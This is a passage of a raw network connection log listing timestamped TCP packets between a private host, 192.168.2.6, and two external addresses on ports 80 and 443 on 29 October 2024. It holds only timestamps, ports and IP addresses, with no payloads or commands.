Oct 29, 2024 17:59:15.596179962 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.596183062 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.596218109 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.596333027 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.596345901 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.596369028 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.596389055 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.596549988 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.596565962 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.596580982 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.596591949 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.596596003 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.596617937 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.596651077 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.597167015 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.597208977 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.597217083 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.597255945 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.639076948 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.639128923 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.639158010 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.639166117 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.642622948 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.642682076 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.642761946 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.643744946 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.643795967 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.643856049 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.644489050 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.644505024 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.644591093 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.644602060 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.649007082 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.651376963 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.651873112 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.651892900 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.652319908 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.652326107 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.652595043 CET	49742	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.652604103 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.653305054 CET	49742	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.653311968 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.672115088 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.672132969 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.672148943 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.672163963 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.672185898 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.672223091 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.672226906 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.672255039 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.672266960 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.672280073 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.672297001 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.672302961 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.672322035 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.672352076 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713089943 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713145971 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713160038 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713190079 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713212967 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713236094 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713236094 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713247061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713325977 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713382006 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713382006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713397026 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713428020 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713449955 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713783979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713799000 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713815928 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.713829041 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.713857889 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.714178085 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.714211941 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.714226961 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.714231968 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.714274883 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.783209085 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.783407927 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.783427000 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.783485889 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.785595894 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.785696983 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.785758018 CET	49742	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.785916090 CET	49742	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.785938978 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.785952091 CET	49742	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.785959959 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.788747072 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.788834095 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.788944960 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.789047956 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789068937 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.789088964 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.789103985 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789113998 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.789140940 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789151907 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.789189100 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.789299965 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789350033 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.789407969 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789459944 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.789484978 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789536953 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789541960 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.789573908 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789583921 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.789611101 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.789622068 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.789658070 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.823622942 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.823705912 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.823777914 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.823946953 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.823967934 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.823981047 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.823987007 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.826694965 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.826747894 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.826843023 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.827017069 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.827034950 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.830605984 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.830671072 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.830678940 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.830715895 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.830723047 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.830760002 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.830773115 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.830796003 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.830804110 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.830840111 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.830848932 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.830883980 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.830904961 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.831023932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.831510067 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.831541061 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.831563950 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.831594944 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.831676006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.831728935 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.831729889 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.831763983 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.831778049 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.831811905 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.832062006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.832123041 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.833116055 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.833164930 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.906531096 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.906573057 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.906627893 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.906665087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.906728983 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.906785011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.907027960 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.907062054 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.907095909 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.907130003 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.907165051 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.907171011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.907237053 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.907434940 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.907500029 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.948076963 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.948111057 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.948147058 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.948178053 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.948180914 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.948211908 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.948216915 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.948251009 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.948263884 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.948286057 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.948302031 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.948333979 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.948970079 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.949038982 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.949038029 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.949074030 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.949085951 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.949109077 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.949129105 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.949153900 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.991950035 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.992003918 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.992043018 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.992074013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.023627996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.023684025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.023720026 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.023776054 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.023814917 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.024301052 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.024354935 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.024362087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.024389029 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.024408102 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.024434090 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.024441004 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.024492979 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.024524927 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.024580956 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.024595022 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.024646997 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.024652958 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.024702072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.024925947 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.024979115 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.025055885 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.025113106 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.065819979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.065874100 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.065912008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.065946102 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.065963984 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.065980911 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.065988064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.066039085 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.066273928 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.066310883 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.066343069 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.066345930 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.066380024 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.066380024 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.066402912 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.066414118 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.066428900 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.066472054 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.140717030 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.140779018 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.140811920 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.140824080 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.140846014 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.140853882 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.140882969 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.140914917 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.141273975 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.141339064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.141379118 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.141426086 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.141457081 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.141462088 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.141479015 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.141496897 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.141509056 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.141551018 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.141771078 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.141828060 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.141858101 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.141906023 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.141983032 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.142016888 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.142034054 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.142052889 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.142060995 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.142112970 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.159874916 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.160620928 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.160646915 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.161257029 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.161262989 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.182296038 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.182354927 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.182380915 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.182410955 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.182429075 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.182446003 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.182456017 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.182499886 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.182861090 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.182976961 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.182993889 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183007956 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183140993 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183166027 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.183182001 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183190107 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.183193922 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183299065 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183331966 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.183419943 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.183813095 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183859110 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183860064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.183901072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.183902025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183937073 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.183954954 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.183986902 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.258022070 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.258059978 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.258091927 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.258095026 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.258116961 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.258137941 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.258565903 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.258622885 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.258667946 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.258702993 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.258727074 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.258744955 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.258888960 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.258934975 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.258968115 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.258979082 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.259037971 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.291846991 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.291929007 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.291996002 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.292184114 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.292198896 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.292212963 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.292217970 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.295319080 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.295336962 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.295433044 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.295620918 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.295633078 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.299487114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.299557924 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.299566984 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.299602985 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.299613953 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.299652100 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.300230980 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300266981 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300283909 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.300302982 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300314903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.300357103 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.300358057 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300407887 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.300451040 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300508022 CET	49722	80	192.168.2.6	185.215.113.206
